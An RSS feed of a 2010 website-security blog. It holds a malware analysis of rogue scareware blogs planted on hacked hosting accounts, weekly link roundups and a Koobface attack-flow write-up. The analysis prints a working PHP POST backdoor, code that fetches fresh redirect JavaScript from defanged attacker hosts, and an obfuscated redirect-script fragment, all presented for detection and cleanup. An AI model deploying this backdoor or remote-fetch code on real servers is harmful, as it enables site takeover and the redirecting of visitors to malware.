<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>Unmask Parasites. Blog.</title>
	
	<link>http://blog.unmaskparasites.com</link>
	<description>Website insecurity by example</description>
	<lastBuildDate>Wed, 17 Mar 2010 20:52:09 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/unmaskparasites" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="unmaskparasites" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">unmaskparasites</feedburner:emailServiceId><feedburner:feedburnerHostname xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Internals of Rogue Blogs</title>
		<link>http://blog.unmaskparasites.com/2010/03/17/internals-of-rogue-blogs/</link>
		<comments>http://blog.unmaskparasites.com/2010/03/17/internals-of-rogue-blogs/#comments</comments>
		<pubDate>Wed, 17 Mar 2010 20:46:12 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[bmsblog]]></category>
		<category><![CDATA[Googlebot]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[scareware]]></category>
		<category><![CDATA[Servage]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=568</guid>
		<description><![CDATA[Back in November, I wrote about rogue blogs created in subdirectories of legitimate websites.  The blogs poisoned Google search results for millions of relatively unpopular keywords (the long tail) redirecting visitors to scareware websites. This hack mainly affected sites hosted on Servage network.
Recently I&#8217;ve been contacted by one of Servage clients who found his [...]]]></description>
			<content:encoded><![CDATA[<p>Back in November, <a href="http://blog.unmaskparasites.com/2009/11/26/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-1/">I wrote about rogue blogs</a> created in subdirectories of legitimate websites.  The blogs poisoned Google search results for millions of relatively unpopular keywords (the long tail) redirecting visitors to scareware websites. This hack mainly <a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/#servage">affected sites hosted on Servage network</a>.</p>
<p>Recently I&#8217;ve been contacted by one of Servage clients who found his sites hacked:</p>
<blockquote><p>I noticed the anomalous traffic to domains that are essentially either completely parked or just used for email addresses (SMTP forwarding rather than anything &#8216;clever&#8217; with webmail.)  That led me to the file structures and a quick google led me to your site.</p></blockquote>
<p>He sent me the offending files he found under his account (thanks Matthew). Now I can share my analysis of the files with you.<br />
<span id="more-568"></span><br />
In my previous post, I speculated about the internal structure of the rogue blogs. Now that I have the files, I can say that all my guesses proved to be correct.</p>
<h3>Blog engine</h3>
<p>Indeed, a full-featured yet minimalistic PHP blog engine powers the rogue blogs.</p>
<p>The whole engine consists of only 4 files:</p>
<ul>
<li><strong>index.php</strong> &#8211; main file of the engine. Less than 500 lines of PHP code. Less than 18K bytes on disk.</li>
<li><strong>template.php</strong> &#8211; template of web pages that uses the data provided by the <em>index.php</em>. About 20 Kbytes.</li>
<li><strong>categories.dat</strong> &#8211; serialized blog categories.</li>
<li><strong>.htaccess</strong> &#8211; rewrite rules to support SEO-friendly URLs.</li>
</ul>
<p>And this engine is indeed anonymous. I couldn&#8217;t find any credits. No names, not licenses. Just the code. The only clue I found was this User-Agent string of the ping requests:  <strong>WeirD blog engine</strong>.</p>
<h3>Features</h3>
<p>The engine can do pretty much everything you expect a blog engine should be able to do.</p>
<ul>
<li>add/remove entries</li>
<li>break down entries by categories</li>
<li>display entries in chronological order</li>
<li>support SEO-friendly URLs</li>
<li>notify services like Ping-O-Matic, Technorati, Google Blogsearch, Weblogs about new posts.</li>
<li>provide RSS feeds</li>
<li>support trackbacks</li>
<li>support custom templates</li>
</ul>
<h3>Flat files</h3>
<p>The entries (there are hundreds of them) are stored in flat <strong>.txt</strong> files in the same directory. This makes the engine database-independent, so it can work on most servers. The only requirements are:</p>
<ul>
<li> PHP</li>
<li>sufficient directory permissions to create files</li>
<li>Apache (to use SEO-friendly URLs)</li>
</ul>
<p>Here&#8217;s a sample content of one of such text files (<span style="color: #993300;"><em>blonde-avril-lavigne.txt</em></span>):</p>
<p><code>blonde avril lavigne<br />
&lt;img src="http://lh5.ggpht.com/elaing.zhang/SNxxYg5W9iI/AAAAAAAAUzE/Y75n9lb2xmg/s800/avril-lavigne80926003.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" /&gt;<br />
&lt;img src="http://lh3.ggpht.com/elaing.zhang/SNxxYxT7YwI/AAAAAAAAUzM/CZ832w22_Go/s800/avril-lavigne80926004.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" /&gt;<br />
&lt;img src="http://images.teamsugar.com/files/users/2/20652/34_2007/76335776.preview_0.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" /&gt;<br />
&lt;img src="http://www.judiciaryreport.com/images/avril-lavigne-pic.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" /&gt;<br />
&lt;img src="http://static.desktopnexus.com/wallpapers/4138-bigthumbnail.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" /&gt;</code></p>
<p>As you can see the files are straight forward. The title on the first line followed by the content. In our case the content is five images (Google Image search results for corresponding keywords).</p>
<h3>.htaccess</h3>
<p>Since the purpose of the rogue blogs is poisoning of search results, &#8220;SEO-friendly&#8221; URLs is a required feature of the blog engine. This engine uses Rewrite rules in .htaccess files.</p>
<p><code>RewriteEngine     On<br />
RewriteRule ^category/([^/\.]+)/?$  index.php?category=$1   [L]<br />
RewriteRule ^category/([^/\.]+)/page/([0-9]+)/?$  index.php?category=$1&amp;page=$2   [L]<br />
RewriteRule ^download/([^/\.]+)/?$  download.php?id=$1   [L]<br />
RewriteRule ^page/([0-9]+)/?$  index.php?page=$1   [L]<br />
RewriteRule ^([^/\.]+)/?$    index.php?id=$1     [L]<br />
RewriteRule ^rss20.xml$    index.php?action=rss     [L]</code></p>
<h3>Malicious features</h3>
<p>What makes these blogs malicious is following modifications to the original engine.</p>
<h4>css.js</h4>
<p>All blog pages contain the following script tag:</p>
<p><code>&lt;script type="text/javascript" src="'.$blog['homepageUrl'].'css.js"&gt;&lt;/script&gt;</code></p>
<p>The script redirects visitors that come from search engines to scareware sites. The content of this script constantly changes, redirecting people to new, not yet blacklisted sites. Here is how they do it behind the scenes:<br />
<code>function get_js_file($filename) {<br />
if (!file_exists($filename) or time() - filemtime($filename) &gt; 3600) {<br />
$js_file = @file_get_contents('<strong>hxxp://t.xmlstats .in/b-m-2/</strong>'.$filename);<br />
if (!$js_file) { $js_file = @file_get_contents('<strong>hxxp://t.jsonstats .in/b-m-2/</strong>'.$filename);}<br />
if ($js_file) { @file_put_contents($filename, $js_file);}<br />
}}</code></p>
<p>As you can see, this code tries to update the <em>css.js</em> file downloading its new content from hackers&#8217; sites: <span style="color: #993300;"><em>t.xmlstats .in</em></span>, <span style="color: #993300;"><em>t.jsonstats .in</em></span> and, in some versions of the engine, <span style="color: #993300;"><em>t.jsstats .in</em></span>.</p>
<p>This is how hackers make sure their blogs always redirect to currently active scareware sites.</p>
<h4>Anti-Googlebot</h4>
<p>Another modification is the code that detects requests from Google&#8217;s network checking the IP address against known Google&#8217;s IP ranges. If a request from Google is detected, the <em>css.js</em> file is replaced with <em>css.google.js</em>.  This way hackers try to hide the malicious redirects from Googlebot when it indexes the rogue blogs. And the fact that I can see many such blogs in Google search results without any warnings shows that this simple trick does its job.</p>
<h3>Different generations</h3>
<p>In November, I <a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/#generations">discovered</a> that there had been several different generations of the rogue blogs. Checking the files I received from Matthew, I found those generations sitting in separate subdirectories: <span style="color: #993300;"><em>blog</em></span>, <em><span style="color: #993300;">bmblog</span></em>, <span style="color: #993300;"><em>bmsblog</em></span>.</p>
<h3>Backdoor script</h3>
<p>Another interesting file I received is the <span style="color: #333333;"><strong><em>index.php</em></strong></span> above the directories with rogue blogs:</p>
<p><code>&lt;?php<br />
error_reporting(E_ALL);<br />
if (md5($_POST['5758e26e']) == '068f4646e8e1aefcdcd184e31e33af47') {<br />
$test_func = create_function('', urldecode($_POST['f']));<br />
$test_func();<br />
}<br />
?&gt;</code></p>
<p>This is a typical backdoor script that executes whatever PHP code hackers send in parameters of POST requests.</p>
<p>Apparently, this script was used to create all other rogue files and directories. The question is how this backdoor script got there in the first place.</p>
<p>When Matthew asked Servage about what happened to his sites, they accused him of using insecure scripts, despite of the fact that his site didn&#8217;t use any scripts at all.</p>
<p>As I showed in my <a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">previous post</a>, 85%+ of discovered rogue blogs are  hosted by Servage so I&#8217;m almost sure some Servage-specific security hole  was used. (<em><span style="color: #888888;">Pure speculation: For example, it could be some php shell that hackers used to finds user accounts with writable directories. And the internal Servage architecture might help this script propagate to different physical servers.</span></em> )</p>
<h3>Still active</h3>
<p>While the first generation of these rogue blogs appeared in April of the last year, this attack is still active. I can still see quite a few rogue <span style="color: #993300;"><em>bmsblog</em></span> blogs with dates of the most recent posts in March of 2010. And some of them (not all though) can be found via Google search <a href="http://www.google.com/search?q=inurl%3Abmsblog%2Fcategory+2010" target="_blank">inurl:bmsblog/category 2010</a>.</p>
<p>To Webmasters</p>
<p>While this particular attack mainly affects clients of Servage hosting company, it is quite typical for hacks that try to create rogue web pages in compromised web sites. So the following advice should be useful for most webmasters.</p>
<p>1. Make sure your server directories are only writable to you. This is especially important in shared hosting environment where hackers can use a compromised neighbor account to find writable directories in the rest sites on the same server and then create rogue content there.</p>
<p>2. Regularly scan your server for any suspicious files and directories.</p>
<p>3. Regularly check raw server logs. You may find requests to files that shouldn&#8217;t be there.</p>
<p>4. Pay special attention to POST requests. They are very popular for backdoor scripts. Just compile a list of files accessed via POST requests and check if you recognize any of them.</p>
<p>5. Many shared hosting plans include <a href="http://en.wikipedia.org/wiki/Webalizer">Webalizer</a>. Every now and then check its reports. While they are normally not as useful as Google Analytics reports, they have one important advantage over Google Analytics &#8211; they track all files under your account, not only those where you inserted a tracking code. So, in Webalizer, you can see requests to files created by hackers, while Google Analytics  completely misses this sort of data.</p>
<p>6. Hackers usually create rogue web pages to poison Google search results. So it&#8217;s natural to use Google to detect this sort of hacks. Regularly use Google to check what is indexed on your site. Use the <span style="color: #333333;"><strong><em>site:you_site_domain.com</em></strong></span> search command.</p>
<p>7. Regularly check reports in <a href="http://www.google.com/webmasters/tools/">Google Webmaster Tools</a>. They may also reveal suspicious activity. Useful reports:  <span style="color: #333333;"><strong><em>Top search queries</em></strong></span>, <em><strong><span style="color: #333333;">Keywords</span></strong></em>, <span style="color: #333333;"><em><strong>Links to your site</strong></em></span>.</p>
<p>8. If you find new directories with rogue files, disallow them in <span style="color: #333333;"><strong>robots.txt</strong></span>. This will show Google that you don&#8217;t want those directories to be indexed. Otherwise, even if you delete the files, Google may keep them in index for quite some time (who knows, maybe you removed them temporarily while, say, redesigning your site).</p>
<p>For example, if you find rogue files in <span style="color: #993300;">/cgiproxy/bmsblog/</span> the robots.txt should be:<br />
<code>User-agent: *<br />
Disallow: /cgiproxy/bmsblog/</code></p>
<p>9. And don&#8217;t forget about other types of hacks that mess with your existing files. Regularly check your site for consistency and any illicit content that hackers may inject into your web pages (this is where my <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> service can help).</p>
<h3>Call for information</h3>
<p>This case is not completely investigated yet. For example, I still don&#8217;t know why it mainly hits Servage and how exactly it propagates. This information could help Servage clients prevent infection of their sites. And probably guys at Servage need this information too since it looks like they can&#8217;t stop this attack themselves (and it&#8217;s active for about a year now!!!)</p>
<p>And if you have interesting information about any other hacker attack, please share it with me and readers of this blog.  I&#8217;m always looking for malicious files that webmasters find on their compromised servers. They can tell a lot about how the attacks work. So before deleting any offending content, consider <a href="http://blog.unmaskparasites.com/contact/">contacting me</a> first.</p>
<p>Thanks for reading this blog. Your <a href="http://blog.unmaskparasites.com/2010/03/17/internals-of-rogue-blogs/#comment">comments are welcome</a>.</p>
<p><strong><span style="color: #888888;">Related posts:</span></strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/11/26/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-1/">Rogue blogs regirect search traffic to bogus AV sites. Part 1</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">Rogue blogs redirect search traffic to bogus AV sites. Part 2</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/01/18/bety-php-oscommerce-hack-part-1/">Bety.php – osCommerce Hack. Part 1.</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/01/26/bety-php-hack-part-2-black-hats-in-action/">Bety.php Hack. Part 2. Black Hats in Action.</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=mV80kTo574Y:-jj5axfjwRo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=mV80kTo574Y:-jj5axfjwRo:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=mV80kTo574Y:-jj5axfjwRo:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/03/17/internals-of-rogue-blogs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tweet Week: March 8-14, 2010</title>
		<link>http://blog.unmaskparasites.com/2010/03/14/tweet-week-march-8-14-2010/</link>
		<comments>http://blog.unmaskparasites.com/2010/03/14/tweet-week-march-8-14-2010/#comments</comments>
		<pubDate>Sun, 14 Mar 2010 15:52:45 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[blogspot]]></category>
		<category><![CDATA[gumblar]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[StopBadware]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=565</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

Mar 8, 2010
Interesting  slashdot discussion on security for dedicated and VD servers on tight  budget 
[senseofsecurity.com.au]  severe vulnerability found in Windows version of Apache 2.2.14
Mar 9, 2010
Updated my list of  Gumblar zombies &#8211; now 550 URLs
[Google [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-565"></span><br />
<span style="color: #888888;"><strong>Mar 8, 2010</strong></span></p>
<p style="padding-left: 30px;">Interesting  slashdot <a href="http://ask.slashdot.org/story/10/03/06/2138221/Coping-With-1-Million-SSH-Authentication-Failures">discussion on security for dedicated and VD servers on tight  budget</a> <a rel="nofollow" href="http://bit.ly/b5tnLB" target="_blank"></a></p>
<p style="padding-left: 30px;">[senseofsecurity.com.au]  severe <a href="http://www.senseofsecurity.com.au/advisories/SOS-10-002">vulnerability found in Windows version of Apache 2.2.14</a></p>
<p><span style="color: #888888;"><strong>Mar 9, 2010</strong></span></p>
<p style="padding-left: 30px;">Updated my <a href="http://blog.unmaskparasites.com/2009/12/18/list-of-gumblar-zombie-urls/">list of  Gumblar zombies</a> &#8211; now 550 URLs</p>
<p style="padding-left: 30px;">[Google webmaster  forum] <a href="http://www.google.com/support/forum/p/Webmasters/thread?tid=69642d9b98a52d85&amp;hl=en">discussion about rogue web pages on Heart Internet network</a> &#8211; meat is closer to the bottom</p>
<p style="padding-left: 30px;">[pandasecurity.com]  <a href="http://research.pandasecurity.com/vodafone-distributes-mariposa/">Vodafone HTC smartphone comes with pre-installed malware</a> &#8211; disable autorun on USB  devices</p>
<p style="padding-left: 30px;">[Google webmaster  forum] <a href="http://www.google.com/support/forum/p/Webmasters/thread?tid=50f1670f2c1fcfc9&amp;hl=en">IIS6 exploit responsible for cloaking</a>. Rogue files and  directories: <em>isapic.dll</em>, <em>cloak</em>, <em>clbackup</em></p>
<p style="padding-left: 30px;">[minor update] <a href="http://www.UnmaskParasites.com/"> Unmask Parasites v0.5.201</a> &#8211; improved redirect reporting</p>
<p><span style="color: #888888;"><strong>Mar 10, 2010</strong></span></p>
<p style="padding-left: 30px;">[h-online.com]  <a href="http://www.h-online.com/security/news/item/Attacks-on-newly-discovered-vulnerability-in-IE-6-and-7-950737.html">Attacks on newly discovered vulnerability in IE 6 and 7</a></p>
<p style="padding-left: 30px;">[BadwareBusters.org]  RT @<a rel="nofollow" href="http://twitter.com/stopbadware">stopbadware</a>: Have you encountered a badware site?  <a href="http://badwarebusters.org/community/submit">Report it to StopBadware</a><a rel="nofollow" href="http://bit.ly/9TsxJQ" target="_blank"></a></p>
<p><span style="color: #888888;"><strong>Mar 11, 2010</strong></span></p>
<p style="padding-left: 30px;">In today&#8217;s comment  spam I see many links to rogue blogspot blogs with scripts from  &#8220;<em>3bcdegptv org</em>&#8220;. Not currently blocked by Akismet.</p>
<p><span style="color: #888888;"><strong>Mar 12, 2010</strong></span></p>
<p style="padding-left: 30px;"><a href="http://www.unmaskparasites.com/security-report/?page=www.walmartcommunity.com">One of Walmart&#8217;s  sites is hacked</a> and stuffed with  hidden spammy links. Probably, outdated WordPress.</p>
<p><span style="color: #888888;"><strong>Mar 13, 2010</strong></span></p>
<p style="padding-left: 30px;">[o3strategies.com] <a href="http://www.o3strategies.com/2010/03/wordpress-hidden-link-injection-fix/"> Wordpress hidden link injection FIX</a> &#8211; rogue files in <em>wp-includes</em> directory</p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=GffuuLVa3Is:35ZkQD1GJak:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=GffuuLVa3Is:35ZkQD1GJak:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=GffuuLVa3Is:35ZkQD1GJak:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/03/14/tweet-week-march-8-14-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tweet Week: March 1-7, 2010</title>
		<link>http://blog.unmaskparasites.com/2010/03/07/tweet-week-march-1-7-2010/</link>
		<comments>http://blog.unmaskparasites.com/2010/03/07/tweet-week-march-1-7-2010/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 21:12:50 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tweet Week]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[scareware]]></category>
		<category><![CDATA[Webmaster Tools]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=559</guid>
		<description><![CDATA[Selected short messages and links you might have missed if you don’t follow me on Twitter.

Mar 3, 2010
[h-online.com]  Fakeinit scareware with Alureon root kit 
[Google Webmaster  Central] New Message Center notifications for hacking and abuse &#8211; now include comment spam and  ugc
Mar 5, 2010
[computerworld.com]  22 different patch mechanisms for 75 updates [...]]]></description>
			<content:encoded><![CDATA[<p><em><span style="color: #888888;">Selected short messages and links you might have missed if you don’t <a href="http://twitter.com/unmaskparasites">follow me</a> on Twitter.</span></em></p>
<p><span id="more-559"></span></p>
<p><span style="color: #888888;"><strong>Mar 3, 2010</strong></span></p>
<p style="padding-left: 30px;">[h-online.com] <a href="http://www.h-online.com/security/news/item/Scareware-is-getting-down-to-business-943045.html"> Fakeinit scareware with Alureon root kit</a> <strong></strong></p>
<p style="padding-left: 30px;">[Google Webmaster  Central] <a href="http://googlewebmastercentral.blogspot.com/2010/03/is-your-site-hacked-new-message-center.html">New Message Center notifications for hacking and abuse</a> &#8211; now include comment spam and  ugc</p>
<p><span style="color: #888888;"><strong>Mar 5, 2010</strong></span></p>
<p style="padding-left: 30px;">[computerworld.com]  <a href="http://www.computerworld.com/s/article/9165738/Typical_Windows_user_patches_every_5_days">22 different patch mechanisms for 75 updates every year</a>. Secunia promotes  more universal solution</p>
<p style="padding-left: 30px;">[h-online.com]  <a href="http://www.h-online.com/security/news/item/Several-known-vulnerabilities-to-remain-unpatched-on-forthcoming-Microsoft-patch-day-947191.html">known IE vulnerabilities will remain unpatched in March </a></p>
<p><span style="color: #888888;"><strong>Mar 7, 2010</strong></span></p>
<p style="padding-left: 30px;">Interesting <a href="http://www.reddit.com/r/programming/comments/b8xqx/websites_hacked_can_anyone_tell_me_what_exactly/">reddit  discussion about a malicious PHP code found on one site</a></p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=f8g4ciZPebM:hEtVkp6ywjI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=f8g4ciZPebM:hEtVkp6ywjI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=f8g4ciZPebM:hEtVkp6ywjI:D7DqB2pKExk" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/03/07/tweet-week-march-1-7-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Web of Koobface</title>
		<link>http://blog.unmaskparasites.com/2010/02/27/web-of-koobface/</link>
		<comments>http://blog.unmaskparasites.com/2010/02/27/web-of-koobface/#comments</comments>
		<pubDate>Sat, 27 Feb 2010 09:12:50 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[blogspot]]></category>
		<category><![CDATA[Koobface]]></category>
		<category><![CDATA[KROTEG]]></category>
		<category><![CDATA[LDPinch]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[safe browsing]]></category>
		<category><![CDATA[scareware]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=554</guid>
		<description><![CDATA[This research is provoked by the following blogpost of Joshua Long where he lists domain names used by Koobface. Generally, I focus on website hacks and don&#8217;t research malware distributed via email spam and social networks (Koobface is an anagram of Facebook). However that list showed me how legitimate hacked sites were integrated into Koobface [...]]]></description>
			<content:encoded><![CDATA[<p>This research is provoked by the<a href="http://security.thejoshmeister.com/2010/02/new-koobface-domains.html"> following blogpost</a> of Joshua Long where he lists domain names used by Koobface. Generally, I focus on website hacks and don&#8217;t research malware distributed via email spam and social networks (<a href="http://en.wikipedia.org/wiki/Koobface">Koobface</a> is an anagram of Facebook). However that list showed me how legitimate hacked sites were integrated into Koobface scheme and I decided to try to investigate how the whole thing worked.</p>
<p>Joshua&#8217;s list was a good starting point. I saw multiple rogue blogspot blogs that followed the same pattern and multiple compromised sites where those blogs redirected to.  For some reason, most of the functionality of the malicious pages on the hacked sites is implemented as a client-side JavaScript, so I could easily retrieve and analyze those scripts. They provided me with very interesting details about the internals of the attack: sites it expected as referrers and usage of infected PCs. As a result I came up to the following scheme:<br />
<span id="more-554"></span></p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2010/02/koobface-attack-flow.gif" border="0" alt="Koobface Attack Flow" /></div>
<h3>Flow of the attack</h3>
<p>Most people first meet the Koobface when they receive a message with a  link to some video from someone they know. It&#8217;s either a message from a  friend in Facebook or some other social network, or a DM in Twitter. To  make the link less suspicious criminals use URL shorteners like bit.ly,  tinyurl.com, etc. This is a normal practice on Twitter where messages  are limited to 140 characters. For not-Twitter users such links will  also be less suspicious than something like &#8220;hxxp://www.sfighters .yoyo  .pl/ freevideo/?go&#8221;, especially when the link is received from a  friend.</p>
<p>Another vector is poisoned search results that lead to rogue blogspot  blogs that, in turn, redirect visitors to a hacked third party site that  coordinates the malicious action.</p>
<p>That site can choose either choose the infection path or the direct monetization path.</p>
<h4>Infection path</h4>
<p>In case of the infection path, the user is redirected to a specifically crafted web page on one of already infected computers. This page takes into account the site where the user clicked on the malicious link (it may look like YouTube or Facebook). Generally it&#8217;s a web page with a &#8220;video&#8221; that requires additional download (player/codec update). This download is a trojan that seems to be used to download the rest malicious files and turn the use computer into a zombie.  Among other bad things, infected PCs help the Koobface propagation:</p>
<ul>
<li>they send out message with malicious links to users&#8217; contacts in social networks</li>
<li>they host fake video pages</li>
<li>they steal FTP credentials from users&#8217; websites (if they happen to be webmasters) and then create rogue web pages there.</li>
</ul>
<p>It shouldn&#8217;t be a surprise that after such a download the video won&#8217;t play. And when disappointed users close the page, they see another window saying that their computer is infected (this time it doesn&#8217;t lie) and they should download a security program (that is just another trojan) that will &#8220;fix&#8221; the problem. This happens because the fake video pages have an &#8220;onunload&#8221; even handler that opens a scareware site when people leave that page. This helps increase the infection rate and monetize the traffic via affiliate relationships with fake AV vendors.</p>
<h4>Monetization path</h4>
<p>Sometimes the sites that coordinate the attack flow decide to choose the monetization path right away and redirect users to a proxy site (when I checked it was <span style="color: #993300;">61 .235 .117 .83</span>) that selects a proper affiliate link: adult dating sites, pirated video download sites, etc.</p>
<h3>Rogue blogs</h3>
<p>An interesting part of this attack scheme is rogue blogspot blogs. They all look the same and definitely auto-generated.</p>
<p>Here are their distinguishing features:</p>
<p>1. A single post that consists of a news headline (presumably from Google News), for example:  &#8220;<em>Two journalists released in Somalia &#8211; CNN International</em>&#8221;  or &#8220;<em>Obamas&#8217; affection for Hawaii means better times for state &#8211; USA Today</em>&#8220;. This headline is both the blog title and the title of the only post. The post itself is empty.</p>
<p>2. The addresses of such blogs are composed of several words that resemble names (probably parts of stolen user credentials). E.g.  <em><span style="color: #993300;">demontlucavincenzo</span> .blogspot.com</em>, <em><span style="color: #993300;">jacekjacekroys</span> .blogspot.com</em>, <em><span style="color: #993300;">jamaldboeding</span> .blogspot.com</em>, <em><span style="color: #993300;">britnymccarville</span> .blogspot.com</em>.</p>
<p>3. The blogs are the only blogspot blogs of their users (One Blogger user -&gt; one blog -&gt; one blogpost). They don&#8217;t create multiple blogs under the same account (otherwise they can all be easily detected and shut down).</p>
<p>4. They use different default languages for each blog. You can see blogs with user interface in English, Dutch, Chinese, Arabic, Russian, Greek, Hebrew, Turkish, etc. At the same time blog titles (news headlines) are always in English.</p>
<p>5. And the key feature is the script in the &lt;head&gt; section of their HTML that redirects visitors with enabled JavaScript to an intermediary attack site. The script usually starts with something like this:</p>
<p><code>c3f7db='do';d2beef91="canuqnkmfji".replace(/[anqkfji]+/g,"");eb79c7d9='ent.r'; ...</code></p>
<p>and is generally well detected by <a href="http://www.UnmaskParasites.com">Unmask Parasites</a>.</p>
<p>It is clear that the blogs are automatically generated. Probably the CAPTCHA-breaking function of Koobface trojans is used to automatically create multiple Blogger accounts.</p>
<p>The nature of the blogs&#8217; content makes me think that their primary purpose is search results poisoning.  Publishing headlines of breaking news when there&#8217;s not much relevant legitimate content exists, they expect their blogs will be ranked high enough (at least for a short time) for the news related searches. Given how many people use search engines to find details about hot news topics, this may be a working approach.</p>
<p>However only people from Blogger can says how successful for hackers this approach is. I tried to search for headlines that appear on Google News but couldn&#8217;t find the infected blogs (is this vector still active?). On the other hand I&#8217;ve easily found a couple a big farms of spammy blogspot blogs that used the same trick.</p>
<p>Anyway, I was able to identify several hundred Koobface rogue blogs (and the hacked sites they redirect to) using Google&#8217;s Safe Browsing Diagnostic pages.  For example if you check the diagnostic page for any known infected blog (e.g. <a href="http://www.google.com/safebrowsing/diagnostic?site=britnymccarville.blogspot.com">britnymccarville .blogspot .com</a> ) and then click on the links for sites reported as hosting malware (the IP addresses belong to infected PC and domain names to hacked legitimate sites), you will see more infected blogspot blogs on subsequent pages.</p>
